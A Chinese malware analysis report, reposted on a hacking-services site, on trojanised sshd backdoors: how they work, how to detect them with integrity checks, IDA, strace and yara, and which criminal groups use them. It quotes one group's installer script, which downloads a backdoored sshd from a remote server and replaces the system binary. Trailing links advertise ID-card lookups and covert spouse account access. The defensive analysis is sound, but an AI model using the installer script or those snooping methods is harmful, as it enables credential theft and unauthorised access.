SSHD后门分析与团伙归类报告

访客4年前关于黑客接单1324

概要

在很多 Linux 平台的应急响应过程中,发现很多系统中存在 sshd 后门,虽然 sshd 后门已经存在 10 余年,但是并没有公开资料讲解如何分析,因此多数安全人员不能发现 sshd 后门,更不清楚如何分析,从而导致系统中的 sshd 后门长期存在,sshd 后门常用功能是记录所有登录本主机的账号密码,以及增加万能密码,也有的会将账号密码传输到攻击者得到服务器中,攻击者可以利用后门或者获得后的密码直接进入系统,如入无人之境,长期的对目标系统进行侵害,属于 Linux APT 攻击技术,本篇文章将会讲解两种分析 sshd 后门的 *** 以及 4 种 sshd 后门对应的黑客团伙,给大家提供一些分析思路,其余的 ssh wrapper 后门、ssh 软链接后门等相对简单,就不在文中提及,感兴趣的话可以自己进行分析。

sshd 万能密码后门实现原理

sshd 程序是 openssh-server 软件包的其中一个可执行程序,属于服务端程序,默认开放 22 端口,对外提供 ssh 服务。由于 openssh-server 是开源程序,任何人都能够对其源码进行更改,重新编译,为攻击者植入恶意代码块提供了技术可能,所以除了sshd程序会被攻击者篡改之外,openssh-client 软件包中的 ssh 命令也经常被攻击者篡改,用来窃取目标机器连接其他外部机器的账号密码等信息。

1. 万能密码认证功能示例

以下是 *** 中的一个 openssh-5.9p1 的一个后门代码,在密码认证文件 auth-passwd.c 中的 auth_password 函数内添加一个判断条件,如果密码等于 SECRETPW(这个数值可以自己配置),则返回 ?secret_ok=1 表示密码认证成功,就不进行接下去的密码判断流程,相当于添加了一个万能密码。

2. 登录账户密码记录功能示例

在和上方相同的文件 auth-passwd.c 中的 auth_password 函数中添加如下的代码,指的是如果系统密码认证成功,则将用户名密码以特定格式加入到自定义的 ILOG 文件中。

sshd 万能密码后门快速检测 ***

sshd 万能密码后门的检查 *** 主要有两种,静态检测和动态检测,静态检测包含 sshd 程序的完整性校验,以及可执行文件的特征检测,可以使用 yara 规则对已知的 sshd 后门程序的特征进行搜集,然后扫描系统中的 sshd 可执行文件,对被篡改的 sshd 程序逆向分析,动态检测相对麻烦些,而且需要一些 Linux 系统调用相关知识,适用于 sshd 加密加壳等无法直接逆向分析的情况。

1. sshd 程序完整性检查

使用系统中自带的 rpm 程序,或者 dpkg 程序对系统中用软件包安装的 sshd 程序进行完整性校验,将初始化安装时的 md5 与目前的 md5 进行对比,如果发生变化则说明文件被篡改,则进行下面的分析。
centos 系列示例 rpm -Vf /usr/ *** in/sshd
S.5....T. ? ?/usr/ *** in/sshd
S 关键字代表文件大小发生了变化
5 关键字代表文件的 md5 值发生了变化
T 代表文件时间发生了变化

2. Linux 下静态快速识别

获得 sshd strings 之后的内容,写入到 test 文件中,使用正则查找 .rhosts 字符,在该字符下方可以看到万能密码,以及密码文件写入的位置,如果没看到可以在上下 30 行内查找。

3. sshd 后门逆向分析

3.1 万能密码与本地记录账号密码型

将 sshd 程序拖入 ida 中,点击右上角的 s 符号,即可见下方 strings 窗口,使用 ctrl+f 查找 .rhosts 字符。

点击进入该界面,即可看到万能密码和密码存放路径在 .rhosts 附近位置。

有时恶意程序并不像上述情况简单,万能密码及账号相关字符不能被直接查找到,这时候则需要我们使用 ida 的 F5 功能,查看 sshd 应用的密码验证处的伪代码,如下直接查看 auth_password 函数的。

如下是加密后的 sshd 后门的万能密码:

3.2 账号密码 *** 回传型

sshd 后门除了直接将账号密码记录在本地,也可以通过 *** 直接将账号密码传输给攻击者,在内网情况下更加有利于攻击者,可以绕过 *** 的限制直接拿到内部账号密码,下方是一个利用 Linux 系统中的 mail 命令来传输,将窃取到的登录的账号密码发送到攻击者的邮箱当中。

4. 动态分析

当 sshd 程序经过加密、加壳、混淆等操作后,针对 sshd 后门会记录账号密码相关特性,可以在 Linux 中动态对 sshd 进行调试分析。strace 是一个可用于诊断、调试和教学的 Linux 用户空间跟踪器,它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。系统中可以使用 strace 命令对 sshd 进程文件相关系统调研,以及写 write 系统调用进行追踪,使用一台机器跟踪 sshd 服务进程,另外一台机器则进行 ssh 登录操作,在跟踪页面监控 sshd 打开的文件及写入操作,示例:

对 sshd 进程进行跟踪

将账号密码写入到自定义的 /var/run/sshd.mm.XXXXXX 文件当中

5. sshd 后门 yara 检测规则示例

以下是针对上方分析过的 sshd 后门写的 yara 检测规则:

相关黑客团伙

在以往的黑客攻击活动中,发现有部分针对 Linux 平台攻击的 APT 以及黑产团伙,APT 攻击团伙主要代表为 Oldfox 老狐狸,XJ 团伙,黑产团伙则包括 TeamT-N-T 挖矿团伙,pm miner 挖矿团伙等,下面仅以这四种进行示例分析:

1. sshd 后门与 Oldfox 团伙

Oldfox 老狐狸 APT 攻击团伙,是微步发现并命名的国内老牌黑产团伙,主要攻击新闻媒体类站点,科技行业,app 下载站点,金融站点等,也会直接进行资金窃取攻击,在 Linux 平台经常使用 sshd 后门进行内网渗透,潜伏时间长,内网渗透率高。Oldfox 的 sshd 后门包含万能密码功能,以及记录账号密码到特定文件路径的功能,万能密码相对随机,有数字和字母组成,全部是小写。

以下是 Oldfox 团伙使用的 sshd 后门样本,应急响应排查的时候获得:

Oldfox 老狐狸团伙的工具包中 *** 好的 sshd 后门及 ssh 后门一览,每一个后门内的密码及日志位置的都不同,编译好的后门版本也不同。

2. sshd 后门与博 彩黑产 XJ 团伙

博 彩黑产 XJ 团伙是微步 2019 年公开的一个国内博 彩黑产团伙,由于攻击者的 C&C 常使用字符串“xj”,我们将其命名为 XJ 团伙,推测是早年博 彩黑产星际团伙的竞争对手,因为 C&C 中字符经常为 xjd *** (星际大 *** ),XJ 团伙主要通过 Web 漏洞、服务器漏洞以及弱口令爆破等方式对目标网站进行渗透,并善用反弹 shell 后门、Xnote、sshd 后门,webshell 等木马工具实现远程控制、长期驻留以及信息窃取。XJ 团伙会通过篡改网站页面、配置文件、数据库等方式在合法网站植入博 彩信息,用于推广各类博 彩站点。

以下是博 彩黑产 XJ 团伙渗透时使用的 sshd 后门,拥有万能密码功能,以及利用系统中的 curl 命令将窃取到的账号密码发送到 XJ 团伙的远程服务器的功能。

3. sshd 后门与 TeamT-N-T 团伙

TeamT-N-T 挖矿团伙,因为使用的木马和挖矿配置邮箱中存在 teamt-n-t 相关关键字,所以被称为 TeamT-N-T 挖矿团伙,也被部分研究员称为 ash miner 挖矿团伙,是因为挖矿木马的初始化脚本名称包含 ash 关键字,所以称之为 ash miner 挖矿团伙,该团伙已经活跃多年,经常使用各类 rce 漏洞进行 Linux 平台挖矿与 Windows 平台挖矿,除了挖矿外,攻击者还会寻找有价值目标进行手动渗透操作,根据我们掌握的攻击者使用的木马可知,攻击者会进行提权,安装 sshd 后门,安装 Linux 内核模块,安装 Windows 驱动程序等操作以便于进行持续性攻击。

以下是 ash miner 挖矿团伙手工渗透时使用的 sshd 后门,其中 sshd.sh 是自动化安装 sshd 后门的脚本程序。

sshd.sh 脚本内容为:

sed s/prohibit-password/yes/g /etc/ssh/sshd_config > /etc/ssh/sshd_config.ok
rm -f /etc/ssh/sshd_config; mv /etc/ssh/sshd_config.ok /etc/ssh/sshd_config
mkdir /var/empty
ln -s /root/.ssh/authorized_keys /root/.ssh/authorized_keys2
/etc/init.d/ssh stop
mv /usr/ *** in/sshd /usr/ *** in/ssdh
wget http://62.2x.x.x/.tmp/sh/bd/sshd -O /usr/ *** in/sshd
chmod +x /usr/ *** in/sshd
/etc/init.d/ssh start
rm -f $0

以下是 ash miner 挖矿团伙使用的 sshd 程序,密码认证代码处逆向后的相关特征:

4. sshd 后门与 pm miner 团伙

pm miner 挖矿团伙,是因为攻击者的木马安装脚本的名称到目前为止一直都是 pm.sh,所以我称它为 pm miner 挖矿团伙,该挖矿团伙活跃目前仍比较活跃,常使用 redis 空口令以及其他 rce 方式进行传播,攻击者也会挑选目标进行进一步的内网渗透攻击,使用自动化脚本进行 sshd 后门窃取账号密码,痕迹清除,以及回传数据等操作,攻击者会根据拿到的数据筛选目标进行进一步攻击,从而扩大攻击战果。

以下是 pm miner 团伙攻击使用的工具包文件,里面包含自动化安装 sshd 后门脚本,清除登录日志脚本,重新编译后的 rm文 件,ss 文件,ssh 木马,sshd 后门等程序。

下方是 pm miner 挖矿团伙使用的 sshd 后门程序,关键逆向后的代码:


因篇幅限制,仅列举部分攻击团伙的 sshd 后门,还有很多 sshd 后门没有归类到具体的攻击团伙,感兴趣的同学可以自己进行 hunt 以及分析。

总结

sshd 后门的检测也是和攻击者对抗的一个过程,只有了解攻击者的行为模式,实际实现检测的过程中才能够更好的发现攻击者的攻击行为,除了万能密码型后门,也可以有使用指定端口就免密登录的后门,还有通过 *** 将窃取到的账号密码直接传输到攻击者的服务端后门。目前这种检测 *** ,适用于检测现有的一些 openssh-server 的万能密码后门,测试多个公开 sshd 后门均适用,针对其他类型的 sshd 木马后门,则需要对具体分析方式进行一些调整,但是整体分析流程还是相同的。

引用

https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf

https://github.com/jivoi/openssh-backdoor-kit

0073e1a8c268e1072321fc4abae60ff1f421292dc2557e123e1c57da490ff18a

681a00df2e2cc680a4b68bdb6fe7d55c34d6d3fc35d462c78ebb659f9cb2cd60

4c537834c5d80f97feeaf07c61053cbd1c2a3728d30342b7dfea5d2ed66b2921

b9e866a045802f0b1cc813658b0d1c0c6d37b3857b17d35a1d5a9a79d8c1e5e4?

相关文章

黑客教你用身份证查手机号  终极黑客之如何通过身份证号码搞到居住地址

注:本文仅供参考,以下内容纯属虚构,如有类同,实乃巧合 这几年楼市火爆,许多人地址经常变。某兄弟欲告其小弟不敬老母,起诉至法院追溯赡养费。法院云:欲加之罪,附上此人地址先。兄弟立倒,旋即...

房产知识:房产证可以二次借贷吗 第一套房子可

相信现在有很多的朋友们对于房产证可以二次借贷吗 第一套房子可以做二次抵押贷款吗都想要了解吧,那么今天小编就来给大家针对房产证可以二次借贷吗 第一套房子可以做二次抵押贷款吗进行一个介绍吧,希望小编介绍的...

北京户口结婚几年之后可以迁入 北京结婚落户

想在北京落户有多么难,坚信大伙儿多多少少都听闻过,可是也并并不是彻底没有办法。想在北京落户关键有完婚落户口,买房落户口,人才落户等方法,那麼今日我就跟大伙儿而言一说北京完婚落户口,北京户口完婚两年以后...

案例解析:用游戏化策略,实现用户增长

案例解析:用游戏化策略,实现用户增长

编辑导读:当用户增长碰着瓶颈时,想要继承拉动增长就必需做越发风雅化的运营,盘活现有用户。而令人上瘾的游戏化,无疑是鼓励用户,提高DAU的最优计策。本文团结K12教诲的案例对此展开了阐明说明,与各人分享...

清空个人聊天记录还能恢复吗(不小心清空的聊天记录怎么恢复)

  清空个人聊天记录还能恢复吗(不小心清空的聊天记录怎么恢复)微信是我们生活中最喜欢也是最常用的聊天工具,长时间使用之后,消息列表中的聊天记录多了也会影响手机运行速度,大家就会选择清空聊天记录,但是一...

没有密码如何偷偷登录爱人微信号,不会被发现

  有媒体报道,近日韩国KBS节目公布一份演艺圈房产富豪排行榜。其中,富二代老公才荣升为alpha公司执行长的全智贤,以755亿韩元(约4.4亿人民币)房产位居第3。   Rain与金泰希夫妇,结婚...